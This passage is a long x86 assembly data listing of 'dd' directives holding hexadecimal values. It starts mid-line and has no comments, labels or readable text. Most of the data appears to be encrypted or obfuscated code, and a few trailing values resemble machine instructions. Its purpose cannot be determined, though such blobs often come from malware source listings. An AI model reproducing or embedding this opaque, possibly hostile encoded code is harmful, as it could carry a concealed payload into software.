7D20247Ch dd 0EFF0DF03h, 30B73DCDh, 90EB427Ch, 13281BEAh, 90EFC1CDh dd 13327F71h, 1167C1F4h, 7D20247Ch, 0E9C12BE4h, 30B73DCDh dd 90EB427Ch, 13281BEAh, 90EFC1CDh, 13327F61h, 1167C1F4h dd 7D20247Ch, 879AB532h, 30B73DCDh, 90EB427Ch, 13281BEAh dd 90EFC1CDh, 13327F65h, 1167C1F4h, 7D20247Ch, 0E3B25E58h dd 30B73DCDh, 90EB427Ch, 13281BEAh, 90EFC1CDh, 13327F69h dd 1167C1F4h, 7D20247Ch, 81AB41D5h, 30B73DCDh, 90EB427Ch dd 13281BEAh, 90EFC1CDh, 13327F75h, 1167C1F4h, 7D20247Ch dd 0A4446509h, 30B73DCDh, 90EB427Ch, 13281BEAh, 90EFC1CDh dd 13327F79h, 1167C1F4h, 7D20247Ch, 0CA1FFBDFh, 30B73DCDh dd 90EB427Ch, 13281BEAh, 90EFC1CDh, 13327F7Dh, 183FF9B1h dd 6066247Ch, 14E3D712h, 4660C636h, 0AB861A5Ah, 0C4D3DDFCh dd 98605F17h, 5B5F50B7h, 9CB6BB34h, 4190C9B7h, 14E3D734h dd 5260C636h, 0A438C35Ah, 0C4D3DDF5h, 98605F17h, 5B5F50B7h dd 9CB6BB34h, 4190CDB7h, 4CDB9234h, 1560C63Fh, 90A06447h dd 13282633h, 6B637975h, 0A0996E50h, 132861E3h, 2CBEA7BFh dd 0C599177Ch, 0E3950DBBh, 90A04266h, 13282633h, 1C907971h dd 0A0991A48h, 132861E3h, 2CBEA7BFh, 0C599177Ch, 0E3910DBBh dd 90A04266h, 13282633h, 82467971h, 0A0997413h, 132861E3h dd 2CBEA7BFh, 0C599177Ch, 0E39D0DBBh, 0A8E54266h, 13282F6Bh dd 0D3266432h, 5B6289B7h, 160E0734h, 0EAED229Ah, 5B43C087h dd 0CDE30534h, 0EA600A0Bh, 16E3ABE2h, 0D36045C5h, 5B6289B7h dd 0C00E0734h, 0EA837904h, 5B43C087h, 0CDE30534h, 0EA600A0Bh dd 0EAE3ABE2h, 0D36045C4h, 5B6289B7h, 0F40E0734h, 0EA8C8800h dd 5B43C087h, 0CDE30534h, 0EA600A0Bh, 12E3ABE2h, 0D36045C5h dd 5B6289B7h, 220E0734h, 0EAE2D39Eh, 5B43C087h, 0CDE30534h dd 0EA600A0Bh, 1EE3ABE2h, 0D36045C5h, 5B6289B7h, 0C10E0B34h dd 0EAF117A2h, 5B43C087h, 0CDE30534h, 0EA600A0Bh, 1AE3ABE2h dd 0D36045C5h, 5B6289B7h, 170E0B34h, 0EA9F4C3Ch, 5B43C087h dd 0CDE30534h, 0EA600A0Bh, 6E3ABE2h, 0D36045C5h, 5B6289B7h dd 5C0E0934h, 0EAAE154Bh, 5B43C087h, 0CDE30534h, 0EA600A0Bh dd 0EE3ABE2h, 0D36045C5h, 5B6289B7h, 9C0E0934h, 0EABAD57Fh dd 5B43C087h, 0CDE30534h, 0EA600A0Bh, 2E3ABE2h, 0D36045C5h dd 5B6289B7h, 220E1134h, 0EAFA391Fh, 5B43C087h, 0CDE30534h dd 0EA600A0Bh, 0AE3ABE2h, 0D36045C5h, 5B6289B7h, 3F0E0734h dd 0EAB4F7C2h, 5B43C087h, 0CDE30534h, 0EA600A0Bh, 36E3ABE2h dd 0D36045C5h, 5B6289B7h, 0FF0E1634h, 0EA9B6086h, 5B43C087h dd 0CDE30534h, 0EA600A0Bh, 0A4E3ABE2h, 0D3605F37h, 5B6289B7h dd 8C0E0334h, 0EA84BA6Bh, 5B43C087h, 0CDE30534h, 0EA600A0Bh dd 32E3ABE2h, 0D36045C5h, 5B6289B7h, 0D70E0334h, 0EAD7DF52h dd 5B43C087h, 0CDE30534h, 0EA600A0Bh, 3EE3ABE2h, 0D36045C5h dd 5B6289B7h, 10E0334h, 0EAB984CCh, 5B43C087h, 0CDE30534h dd 0EA600A0Bh dd 3AE3ABE2h, 0D36045C5h, 5B6289B7h, 7D0E1B34h, 0EAF872C0h dd 5B43C087h, 0CDE30534h, 0EA600A0Bh, 26E3ABE2h, 0D36045C5h dd 5B6289B7h, 2A0E0B34h, 0EAA1DE49h, 5B43C087h, 0CDE30534h dd 0EA600A0Bh, 4AE3ABE2h, 0D36045C5h, 5B6289B7h, 590E0334h dd 0EA9C795Ch, 5B43C087h, 0CDE30534h, 0EA600A0Bh, 76E3ABE2h dd 0D36045C5h, 5B6289B7h, 0D80E0334h, 0EAA52416h, 5B43C087h dd 0CDE30534h, 0EA600A0Bh, 72E3ABE2h, 0D36045C5h, 5B6289B7h dd 0D90E1B34h, 0EAB29952h, 5B43C087h, 0CDE30534h, 0EA600A0Bh dd 22E3ABE2h, 0D36045C5h, 5B6289B7h, 5B0E1B34h, 0EAF8CB66h dd 5B43C087h, 0CDE30534h, 0EA600A0Bh, 2EE3ABE2h, 0D36045C5h dd 5B6289B7h, 5D0E1B34h, 0EAB7311Ah, 5B43C087h, 0CDE30534h dd 0EA600A0Bh, 2AE3ABE2h, 7F6045C5h, 566E036h, 150E4432h dd 7F662222h, 5CF3EE32h, 9C60C62Dh, 5B47B1B7h, 4BE3AF34h dd 0EA6045ECh, 7D62E2E2h, 15665432h, 1546225Ah, 0EA667B32h dd 5B79C1A7h, 0D8E3CD34h, 9C606C19h, 5B6080B7h, 7D26E234h dd 15665432h, 1466225Ah, 0EA667B32h, 5B79C1A7h, 0BCE3CD34h dd 9E606C1Bh, 5B6F6887h, 0FB0334h, 9C600A19h, 5B714387h dd 0CCFB9834h, 9E60C63Fh, 5B4D51AFh, 966DA934h, 916911CBh dd 156682EDh, 26061562h, 0B8E3ABF2h, 0AB605F25h, 1566880Eh dd 35423031h, 51658F54h, 65ED3116h, 31128B4Ah, 0D18CF12h dd 266F9FBBh, 0EAE3177Ch, 156C0D3Dh, 1B8E4432h, 0FC662223h dd 156611A3h, 7EB10363h, 80EF40E0h, 13283373h, 150E1558h dd 47668822h, 80994458h, 13283D7Bh, 18C794BBh, 0C5ED8E7Ch dd 5B9AC6Bh, 0B8302232h, 31425531h, 42B903A5h, 1AC88400h dd 0EA99DBB7h, 0EE4D4FCDh, 9EB10360h, 5B47B18Fh, 0EAAFA134h dd 13ECD101h, 9E204900h, 0FCA7C336h, 5FAE113Ah, 0EA8C943Dh dd 0D4ED77CDh, 9C3C94C5h, 11A4A130h, 0B8E3EE60h, 9E60C625h dd 5B71E9A7h, 1CF31B34h, 1A605F01h, 156682B6h, 96381E32h dd 8E8F26F4h, 4F99EECDh, 4D3FE96Ch, 1717C1F5h, 1566247Ch dd 90A11132h, 1328932Fh, 15664432h, 0E3C19FB1h, 1A661766h dd 156680B6h, 5FBC932h, 0EA607664h, 84E3EEE1h, 9660C613h dd 5B47D58Fh, 97694634h, 15661150h, 34F70DF5h, 1567427Ch dd 98062232h, 41916E87h, 0FFDB0534h, 3E601121h, 9EB1A9CCh dd 5B47E48Fh, 0EAAF0B34h, 13EC8401h, 9E20E300h, 0FCA79636h dd 5FAEBB3Ah, 0EA8CC13Dh, 0D4EDDDCDh, 905FC1C5h, 13288BD7h dd 1571C03Dh, 0A8E52232h, 132808C3h, 1FE38732h, 0D2664432h dd 5B7307B7h, 15661034h, 0F3DFE932h, 0AF3FCD71h, 49CFA49Fh dd 74D3989Fh, 0D260C625h, 1566B874h, 0FB5B2232h, 1A88FFDCh dd 1566A8B7h, 0C858C532h, 1ABBFFEFh, 156605B7h, 15604F32h dd 96664432h, 0A0EF26F4h, 13280653h, 156E71DBh, 26BECF32h dd 5B7307B7h, 16AED034h, 0D5A74A19h, 9CA77722h, 5B7307AFh dd 15662C34h, 96698833h, 15664477h, 0AEDD1CB3h, 9069AA89h dd 1566880Bh, 156642F5h, 0D3E52232h, 74D39836h, 9E60C625h dd 5B4D51AFh, 9E6DA934h, 0D7ED71E2h, 3E130D19h, 0F5A7427Ch dd 68E32130h, 83605F22h, 9CA78B9Fh, 747A6076h, 15665EDBh dd 26344032h, 0B4F303FBh, 2E600A3Fh, 2DE22D30h, 96661132h dd 2E278CF0h, 5B554DBFh, 0FDE32D34h, 9899EECDh, 4190EC87h dd 0B8DBC934h, 0B9606C10h, 9169D1B6h, 15668834h, 0EA97AD98h dd 15DEDDCDh, 98661132h, 5B2898BFh, 9C87BB34h, 5B718FBFh dd 433F4B34h, 3E7315B9h, 1EED427Ch, 2CBA7B9h, 0F5B7177Ch dd 35F0D31h, 0E355427Ch, 0D4CB44A4h, 906513D2h, 1328984Fh dd 0D465E9A4h, 0C4DBA16Ch, 14605F13h, 155F0C3Dh, 985D4432h dd 132807E3h, 154B953Dh, 985D8832h, 1328656Fh, 1547A63Dh dd 985D1132h, 13289787h, 1573C03Dh, 88EB2232h, 13331AF0h dd 0EDED5BCDh, 0D73C1BBh, 0A18F247Ch, 98661134h, 406D4AAFh dd 96B5BB34h, 5B47F38Fh, 91691134h, 1566882Fh, 177C109h dd 9169247Ch, 1566113Eh, 1970D09h, 9069427Ch, 15662237h dd 0EA99A8DBh, 4E3B3CDh, 1A600A3Ah, 15663AB7h, 5CDB9232h dd 1560C614h, 156DC13Dh, 90EB2232h, 1332C685h, 0EA991DDBh dd 4E37FCDh, 1A606C3Ah, 0EA9998B6h, 75DB0BCDh, 146010C4h dd 1571A73Dh, 905D1132h, 13327E8Dh, 156DC13Dh, 90EB2232h dd 153EF792h, 0EA99E5DBh, 969977CDh, 5B73CB8Fh, 91691134h dd 15668B55h, 0E3CDC109h, 12132466h, 0D3394B9h, 2E218E7Ch dd 4190F7B7h, 9E615734h, 5B6ECCB7h, 905DCF34h, 1332B29Dh dd 90ED2547h, 132814EBh, 0A2E3B375h, 606010C4h, 0E8E3A935h dd 52605F20h, 0E3DD0D09h, 12134266h, 386FA7B9h, 2E21177Ch dd 419037B7h, 9E613134h, 5B6857B7h, 905D5634h, 13327EF1h dd 90ED4347h, 1328323Bh, 0D2E32A75h, 6060DCC4h, 78E3CF35h dd 52606C3Ah, 0E3AD9409h, 12138E66h, 186BC1B9h, 2E21247Ch dd 4190DEB7h, 9E61FD34h, 5B4705B7h, 905D6534h, 1332E7E5h dd 90ED8F47h, 132854F3h, 0C6E31975h, 606045C4h, 4CDB0B22h dd 15600A3Fh, 90ED2547h, 13283023h, 64DB0B75h, 15600A21h dd 905D2D46h, 1332E66Dh, 90ED8F47h, 13286E7Fh, 0A8DBA175h dd 15605F03h, 0A8E5FA46h, 1328467Bh, 2E0F5632h, 419152B7h dd 9E61FD34h, 5B652DB7h, 905D6534h, 1332E661h, 90ED8F47h dd 132866B3h, 52E31975h, 606045C5h, 4CE30335h, 52600A38h dd 0E231A709h, 12131766h, 0F6B0DB9h, 2E21427Ch, 419179B7h dd 9E616434h, 5B57FDB7h, 905D0334h, 1332D579h, 90ED1647h dd 1328AEA7h, 5AE37F75h, 606076C5h, 8CE39A35h, 5260C639h dd 172FF9B1h, 1A66247Ch, 15641BB6h, 0CEE3B332h, 606010C4h dd 94E3A935h, 52605F12h, 0E2090D09h, 12134266h, 17F7A7B9h dd 2E21177Ch, 419057B7h, 9E613134h, 5B7653B7h, 905D5634h dd 13327ED1h, 90ED4347h, 13283BB7h, 0F2E32A75h, 6060DCC4h dd 78E3CF35h, 52606C02h, 0E38D9409h, 5138E66h, 183FF9B1h dd 6066247Ch, 0DCE39A35h, 5260C638h, 0E389C109h, 12132466h dd 199F94B9h, 2E218E7Ch, 4190B7B7h, 96765734h, 5B6B488Fh dd 12138834h, 3843C1B9h, 2E21247Ch, 4190E6B7h, 9E61FD34h dd 5B4D85B7h, 905D6534h, 1332E7C9h, 90ED8F47h, 13284CF7h dd 16E31975h, 606045C5h, 4CDB0B22h, 15600A3Fh, 90ED2547h dd 13283037h, 0EAE3B375h, 606010C4h, 4CDBA122h, 15605F3Fh dd 90ED8F47h, 13284C4Bh, 12E31975h, 606045C5h, 0C4E30335h dd 52600A12h, 0E26DA709h, 12131766h, 5FB0DB9h, 2E21427Ch dd 41912DB7h, 9E616434h, 5B4F99B7h, 905D0334h, 1332D521h dd 90ED1647h, 132882A7h, 2E37F75h, 606076C5h, 3CE39A35h dd 5260C61Eh, 0E27DC109h, 12132466h, 11B94B9h, 2E218E7Ch dd 41915BB7h, 9E615734h, 5B61F8B7h, 905DCF34h, 1332B311h dd 90ED2547h, 13281DD7h, 0A4E3B375h, 60600A37h, 0B0E3A935h dd 52605F2Dh, 0E2410D09h, 12134266h, 76FA7B9h, 2E21177Ch dd 4191EBB7h, 967F3134h, 4191498Fh, 1C131134h, 34B735B1h dd 6166427Ch, 0E0E3A935h, 52605F21h, 0E2010D09h, 0C134266h dd 0E20D9FB1h, 60661766h, 0C4DB0B3Bh, 15600A13h, 90ED2546h dd 13283673h, 3EE3B375h, 606010C5h, 94E3A935h, 52605F17h dd 0E2490D09h, 12134266h dd 1847A7B9h, 2E21177Ch, 4191BBB7h, 9E613134h, 5B4B37B7h dd 905D5634h, 13327F05h, 90ED4347h, 13282CBBh, 2EE32A75h dd 6060DCC5h, 0D8E3CF35h, 52606C30h, 0E2599409h, 12138E66h dd 35E7C1B9h, 1E21247Ch, 10E21ECDh, 0FC668832h, 0EA99BFD8h dd 3ED7A709h, 9069177Ch, 15668839h, 0B8EBC1BFh, 0C68F2466h dd 2E99EEC9h, 5B4051B7h, 0DE34B34h, 96662232h, 4190718Fh dd 90698934h, 15664439h, 0F345A7BFh, 0BA8F116Ah, 2E9977C9h dd 4190DFB7h, 19E22D34h, 2E661132h, 419017B7h, 10E34B34h dd 0FC662232h, 0EA99EAA0h, 1566888Ch, 1498C732h, 1523A73Dh dd 905D1132h, 13327EBDh, 156DC13Dh, 90EB2232h, 153E73D6h dd 0EA9DE5DBh, 86E37FCDh, 1A6076C4h, 15661AB7h, 4FE30532h dd 0FC661C51h, 0EA99D964h, 0E3F19409h, 90698E66h, 15664439h dd 76F9A7BFh, 2A8F116Ah, 9E9977C9h, 1567FAF2h, 0E36D2232h dd 1563943Dh, 368F8832h, 9E99BBC9h, 40D3ABC2h, 9C605F3Dh dd 5B4DD187h, 0FC58C434h, 1540A73Dh, 6BED1132h, 9E988B33h dd 15A5C5ECh, 2E662272h, 5B69448Fh, 1DE48734h, 2E664432h dd 10E02DC9h, 0FC661132h, 0EA9972D4h, 3EABF9B9h, 90A1247Ch dd 1328044Bh, 15668832h, 4CD3CD52h, 98606C19h, 4077B2AFh dd 1AB57734h, 156666B0h, 0CEFBAF32h, 0EA6042F3h, 0CBE587E1h dd 9E99BBCDh, 5B4D7B87h, 6CD39834h, 9860C627h, 4133FCAFh dd 9EB5DD34h, 5B6944B7h, 4CE30134h, 74600A19h, 1B6ABFBFh dd 0C6991767h, 59215BFh, 0C6994267h, 156AA13Dh, 90E51132h dd 1328A36Bh, 0EAB8AD37h, 88EBDDCDh, 1333002Fh, 96695BCDh dd 1566443Ah, 0FC62E0B1h, 15661100h, 0D4BD15BFh, 0C6994261h dd 156DA13Dh, 0A0ED1132h, 1328A36Bh, 1561C4DBh, 4CEBA932h dd 9C605F19h, 5B4DD187h, 0E2A86F34h, 0E69709EBh, 0EAF0F896h dd 88EB77CDh, 13321222h, 0D2EDF1CDh, 3EAB9419h, 90EF8E7Ch dd 13286B43h, 3EABA7B9h, 4531177Ch, 43E305BFh, 0C4994266h dd 3CCFA7B9h, 4236177Ch, 3EAB0DB9h, 9836427Ch, 413096BFh dd 9EB7EE34h, 3EAE03E2h, 5B4FEDBFh, 0A4DBA134h, 15605F1Bh dd 154D0C3Dh, 90ED4432h, 1328368Fh, 3CD79419h, 0D45D8E7Ch dd 1571C23Dh, 90ED2232h, 132834CBh, 3CD70D31h, 90EF427Ch dd 13283A27h, 156652DBh, 0D4EDD932h, 1A99497Ah, 9C262232h dd 5B72ACB7h, 50E38934h, 0D2600A2Ah, 5B4F93B7h, 15661134h dd 7D26E232h, 15665432h, 0EA664863h, 5B7958A7h, 0F0F37734h dd 9C600A37h, 5B43DBB7h, 0E39834h, 4C60C62Ah, 0D73F1CDh dd 0A099247Ch, 1328389Bh, 0D8D37765h, 98600A19h, 413D64B7h dd 14B6EE34h, 5B4F39BFh, 0DBCF34h, 9E606C2Ah, 5B4FB887h dd 9EC27B34h, 5B712587h, 53A18F34h, 156611CEh, 10A64932h dd 9C25A237h, 28E3216Bh, 9E605F22h, 5B7E9DBFh, 0B86ECD34h dd 159A64F5h, 9C661132h, 5B71E987h, 0EA9EC734h, 1546A73Dh dd 2BE71132h, 0C8BB55EFh, 1572C13Dh, 13A12232h, 15661132h dd 9C624EB1h, 5B712587h, 0E380CB34h, 0D5A7EECDh, 28E38B31h dd 96600A22h, 5B63178Fh, 91691034h, 156688AFh, 0BFCC7AB3h dd 90698898h, 15661120h, 0D2624EB1h, 1566B874h, 0A5F12232h dd 1565F8DBh, 0A5F18832h, 0A8E514DAh, 132803E3h, 2BE21E33h dd 0AD668832h, 15664532h, 0E3C19FB1h, 1A661766h, 156680B6h dd 92FBC932h, 0EA60766Ch, 855991E1h, 156E0C3Dh, 0D2E54432h dd 1525CB37h, 0EDE51132h, 1FE48762h, 0A5664432h, 0BF3E88A2h dd 156635DBh, 95CCD032h, 1A8FBB4Dh, 15663AB7h, 0B2DB9232h dd 1560DCC4h, 156EC03Dh, 88EB2232h, 13324F65h, 52EE5BCDh dd 0E3CF36h, 3E606C2Ah, 118E92F5h, 53A12599h, 156644CEh dd 0EA77CB32h, 0A0EFEECDh, 13289F53h, 95662C60h, 150C2232h dd 18C7A4CDh, 80998E7Ch, 13284FBBh, 0EBA968h, 0D2605F19h dd 15668833h, 11A7C732h, 3E73AFBBh, 58F177Ch, 0FC9977C7h dd 15664296h, 0EBA952h, 9E605F19h, 0B6EB013Bh, 946010C4h dd 51326C0Ah, 9E31E7Eh, 73668832h, 59623CB3h, 5E32D1Ch dd 9E661132h, 13A00BC2h, 116FC1B9h, 138F247Ch, 9E661133h dd 26B603C2h, 155AE8FBh, 153BA63Dh, 385A1132h, 0EA890C3Dh dd 3B5ABBCDh, 155BA63Dh, 255A1132h, 14660A3Dh, 2C5A4432h dd 0EAB1A43Dh, 545AEECDh, 15960A3Dh, 4F5A4432h, 0EAA1A43Dh dd 4A5AEECDh, 0EAD90C3Dh, 745ABBCDh, 15BEA03Dh, 6F5A1132h dd 0EAC90E3Dh, 0DE8FBBCDh, 57662232h, 9169C709h, 156688F0h dd 8F8F0578h, 9099DDCDh, 0A6E21EFBh, 98668832h, 5B607587h dd 9EACA934h, 0BB48A1C8h, 0EA9F0D3Dh, 0DA4DBBCDh, 0EC4DFBC5h dd 0B195E6B5h, 1599CFF4h, 1357D1BFh, 90ED247Ch, 13280253h dd 906948B7h, 15664428h, 1167A7F4h, 7D21177Ch, 0C1FC2FE0h dd 31AFF1CDh, 90EB247Ch, 13376C13h, 0EA3458CDh, 1AA6C1E2h dd 15661AB7h, 20E39A32h, 9060C63Fh, 0FE34BF2h, 0D3662232h dd 5B6210B7h, 0FC0EC434h, 0EABF9E2Eh, 5B42EB87h, 34E39C34h dd 0EA60D94Fh, 0C59916E2h, 9069E2B7h, 15661137h, 1566A9DBh dd 0B6E3CD32h, 456076C4h, 0D5E39C64h, 0EA60D9AFh, 1AA64FE2h dd 156627B7h, 1562F832h, 51EF8832h, 0D6075816h, 0B6EBA952h dd 456045C4h, 556549B9h, 9DF6CF0Eh, 9C662232h, 5B6A40A7h dd 159E8D34h, 45ED4432h, 0A4F3AB3Eh, 4D605F03h, 3142CCB9h dd 905D8519h, 13281383h, 1576933Dh, 905D8832h, 13284863h dd 1562A13Dh, 0D7071132h, 0D2078836h, 15666036h, 51A12232h dd 15661516h, 10DE8832h, 98664432h, 5B2832BFh, 7587EE34h dd 0FC5A8EB8h, 1558C03Dh, 0FD5A2232h, 1524953Dh, 1A5A8832h dd 1574C03Dh, 0D85A2232h, 1559953Dh, 0FE5A8832h, 152FC03Dh dd 0D6072232h, 95674FB8h, 0EEE678D1h, 0FAE34BB2h, 9E99DDCDh dd 13A592ECh, 0FC64D631h, 15664426h, 96677CB9h, 9169EAC9h dd 1566881Bh, 4B659AB9h, 10A5A133h, 0EA99D8DBh, 4BD087CDh dd 3B8DC733h, 0EADAA63Dh, 1F8FEECDh, 95668832h, 1A98454Ch dd 0EA998FB7h, 0EA06F8CDh, 443077CDh, 0D5551361h, 95BEA89Eh dd 0EEE6E1D1h, 0F9E28742h, 29664432h, 30E22D3Dh, 29661132h dd 91E287DBh, 29664433h, 0E22DD9h, 29661130h, 64E287D1h dd 29664432h, 56E22DD0h, 4A661130h, 0D638D169h, 0E215C1F5h dd 15602466h, 0BEC1132h, 95966BB2h, 9069C4C9h, 0EA99DDD1h dd 40E39A7Ch, 9E60C63Dh, 5B733DA7h, 96B8A934h, 4B6517F1h dd 1ABEB330h, 15664CB0h, 1ABC1932h, 0EA99AFB4h, 96B9A3CDh dd 0B80042D9h, 0BEF58954h, 9C62D7B1h, 61EFAC0Eh, 0A0EF4816h dd 1328096Bh, 4B3F4A6Dh, 0FC624CB1h, 0EA99BE52h, 0E215A7F5h dd 15641766h, 0CBED8832h, 9568F23Dh, 9669A2CBh, 1566113Ah dd 0FC255131h, 1566443Fh, 0E299CBB2h, 0EA8790EBh, 3E668832h dd 40E3CFEBh, 9E606C3Dh, 5B7368A7h, 64DB0B34h, 14600A30h dd 15C5A63Dh, 0CD5D1132h, 15FD0A3Dh, 0CF5D4432h, 0EA27A03Dh dd 9B8FEECDh, 0D2668832h, 419137B7h, 15662034h, 1AB89A32h dd 0ECE68684h, 1DE54BB2h, 16662232h, 188F52EBh, 95668832h dd 0CC91BBDBh, 1599C3B3h, 0CC4D1132h, 1A330DB9h, 80ED427Ch dd 1328374Bh, 1717ACB1h, 1A678E7Ch, 15660CB6h, 1ABE1932h dd 156619B0h, 1ABCB332h, 0EA98A2B4h, 1AD66CCDh, 0A5689B98h dd 1A8708B2h, 3ECC8538h dd 118DA1EDh, 0D3E5BAA1h, 4CD30130h, 0D2600A19h, 5B6453B7h dd 15661034h, 11A20B32h, 0D1E51D69h, 11A2A136h, 0EA9F66DBh dd 0FCD6C6CDh, 3EA0CF98h, 118EA1F5h, 11A29299h, 9638D169h dd 0D28F40F6h, 0D299DDCBh, 419162B7h, 15668D34h, 96B8CF32h dd 0B6526F1h, 1A3394B9h, 80ED8E7Ch, 1328514Bh, 8DBA17Ch dd 14605F29h, 14650C3Dh, 0CD5D4432h, 156EA03Dh, 0CF5D1132h dd 154D0E3Dh, 0A0EF4432h, 1328096Bh, 0E2158CB9h, 49678E66h dd 0CB8F4816h, 4A662232h, 0E7B94F5h, 15678E7Ch, 4C3D4432h dd 11A2A16Ch, 0EA9EE6DBh, 64DB0BCDh, 14600A30h, 15DDA63Dh dd 884D1132h, 13288767h, 3EABC9B9h, 0DE65247Ch, 0FCE5DE19h dd 0BF8F3837h, 0D1E5EFA3h, 4B3F7936h, 0FC62D5B1h, 0EA99711Ch dd 0E215C1F5h, 15642466h, 0CBED1132h, 95683E3Dh, 9669C4CBh dd 1566223Ah, 0FC25C831h, 1566883Fh, 0E299ADB2h, 0EA87A3EBh dd 3E661132h, 40E303EBh, 9E600A3Dh, 5B735BA7h, 0EA20F834h dd 90A177CDh, 1332B341h, 15662230h, 0A369CFB9h, 959F083Ch dd 156EC73Dh, 0CC652232h, 156BF871h, 0FCE68832h, 94BFB3CDh dd 1566DDD3h, 9EBF3A32h, 5B69DDB7h, 6CF3CF34h, 96606C27h dd 5B64608Fh, 91698934h, 0EA99BAFBh, 9769FA09h, 1566113Ah dd 93695209h, 0EA99B955h, 3EA8A97Ch, 108F92FDh, 84CC6182h dd 0EDEEAD99h, 13ECDDCDh, 9169F90Eh, 15668834h, 157EADCAh dd 9E352232h, 143812ECh, 0A5634BB1h, 0CA4DEEDAh, 8662C9B1h dd 0D3E54A99h, 44A57137h, 2960CF54h, 55E22DF1h, 29661132h dd 2DE287F9h, 29664432h, 2DE22DF0h, 29661132h, 25E287F8h dd 73664432h, 1A43DD0Fh, 156621B6h, 3B5BEE32h, 18E34BCDh dd 9F662232h, 0E5421374h, 9169280Eh, 15664411h, 2C8FDA6Bh dd 26661132h, 0C8FC9FBh, 0AC664432h, 15662231h, 15661EDBh dd 15603132h, 108F4432h, 0AC662232h, 15661135h, 98ED2CC1h dd 1328514Bh, 9069EBB7h, 15661134h, 1F3DBBh, 0EC3F427Ch dd 13ED44F1h, 9169D20Eh, 15668857h, 0F6E69CB8h, 659DA2C2h dd 15FA953Dh, 0FC5A8832h, 1529C03Dh, 0FE5A2232h, 1521953Dh dd 0D75A8832h, 1559C03Dh, 0DE5A2232h, 1551953Dh, 28008832h dd 916961CDh, 1566221Fh, 9169DB0Eh, 15668817h, 9169A70Eh dd 15662250h, 0EA482C54h, 156B0D3Dh, 53EC4432h, 29960630h dd 13E21E92h, 0ED668832h, 15664BDBh, 6CD3AB32h, 98605F27h dd 413330AFh, 0ECB5BB34h, 53ED72F1h, 60E39822h, 4D60C619h dd 987A82B1h, 5B765F8Fh, 5165BC34h, 98CDAC16h, 5B75D58Fh dd 51658F34h, 0BE363516h, 35F35BFh, 16CB427Ch, 0BE4E0676h dd 9830D26Ch, 413319AFh, 0FCB5BB34h, 0FFFFFF95h, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah, 0F2C0D5F2h, 96A4115Ch, 152AA8EDh dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah dd 60D554A8h, 59D7BA86h, 0C736CE25h, 0DCF143DEh, 41F8A732h dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 7D38C882h dd 462C007Ah, 8351DF07h, 0C6D552FCh, 0B85E0003h, 0E9835492h dd 8BA4F305h, 0BA31E4CBh, 565DB1DAh, 0BC2FEB32h, 5003ECDFh dd 55113C52h, 0DDD3E560h, 5163B977h, 0DF79F4B9h, 1331B575h dd 5A1A3822h, 0DFBAF4B9h, 9F36A175h, 36ABA1F0h, 52D434F4h dd 5E9837Ch, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 2E65F717h dd 3FD525FBh, 17ADFDF5h, 22912125h, 7ACFB734h, 29B723ACh dd 7A1A20ADh, 277975FDh, 0A31F987Ch, 0FFA073A9h, 7C7BA209h dd 0E983C87Dh, 8BA4F305h, 7FBD8DDBh, 8D0654F7h, 5512668Dh dd 6644B806h, 0CF2B3215h, 3102E9C1h, 83C8D007h, 0F4904C7h dd 0FFFFF285h, 83C08BFFh, 4E2D45BDh, 9750006h, 19E1BD83h dd 7400064Eh, 8B535019h, 411B8C0h, 85890000h, 64E3001h dd 0B9A89D8Dh, 0D3FF0650h, 0BD83585Bh, 64E19E1h, 50177400h dd 411B853h, 85890000h, 64E3001h, 0B6499D8Dh, 0D3FF0650h dd 0C08B585Bh, 72A4F2BBh, 9A8D8D46h, 89065514h, 4E2B058Dh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0C75A6D0Eh, 4E2B6585h, 699C06h, 75B58900h dd 0C7064E05h, 4E065D85h, 6, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 9589307Bh dd 64E182Dh, 7D858957h, 5F064E0Fh, 162DB5FFh, 860F064Eh dd 1, 9995FFF8h, 6A064E0Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 9A82C350h, 4357C021h dd 0FF006A49h, 4E1A5995h, 0EBC08B06h, 0C7B63D68h, 0DAAA8B9Dh dd 44252CD0h, 24CAF063h, 0E89898Ah, 0EA4DD244h, 0E84E2CE3h dd 5598460Bh, 90B89FABh, 425B7393h, 0CADEB662h, 0C1FB56A2h dd 0DF687BD5h, 155A86B4h, 99CCFECCh, 0A6E40471h, 0A800A606h dd 89C62D85h, 0D8276D9Dh, 3CE61594h, 4ED25719h, 73D7D2B6h dd 60770C7Fh, 0ED51CCB6h, 0B39E16A4h, 8D37DEEDh, 12E895h dd 96280000h, 0F7FF0D08h, 0EFC43F2Ah, 9ABCF87Ah, 2DED109Bh dd 20ED8529h, 0B5F064Eh, 4E0B2985h, 0DCC78106h, 6600006Eh dd 0C92BDE8Bh, 2959958Bh, 348B064Eh, 0D38B660Fh, 26F5F681h dd 0BB66561Fh, 0F681B2C0h, 2268E61Eh, 0F2D8D89h, 0F681064Eh dd 5DE25182h, 2C75B589h, 3489064Eh, 0E908B20Fh, 12h, 0ECAC68B2h dd 61148EBBh, 0DF54A3h, 0D21441EBh, 0E9830EFDh, 49C18A02h dd 0FE849h, 40340000h, 2558671Eh, 43ED76B8h, 0ED13409Fh dd 1995233Eh, 58064E2Dh, 91C8F981h, 850FFFFFh, 0FFFFFF8Eh dd 29899589h, 4EB064Eh, 32F2F5A9h, 54AE9h, 0BB313C00h dd 0C903503Eh, 0DC105E4Ch, 0E5E7715Fh, 0EFED7A68h, 30022172h dd 3A28A527h, 4937B428h, 5745C23Ah, 7D56D309h, 2197E0B6h dd 9C77B7D2h, 0ACB6A411h, 77088E30h, 3A01FB89h, 34C5074Ch dd 21DBA492h, 2EAEB6A4h, 0E106C58Ch, 7C281B7Ch, 74FCEA7Bh dd 9BE8D678h, 2EBBF61h, 85470DB1h, 0A47A4108h, 0BE2650D3h dd 3E2CBD43h, 4A38B537h, 311FC13Bh, 25E4AB21h, 97E32399h dd 0FDD39AD9h, 0BE26F37Ah, 0E385169Ch, 872B7C65h, 998704F8h dd 996F11CBh, 0BE26F3DBh, 97B405EEh, 577DE12Eh, 80B0h dd 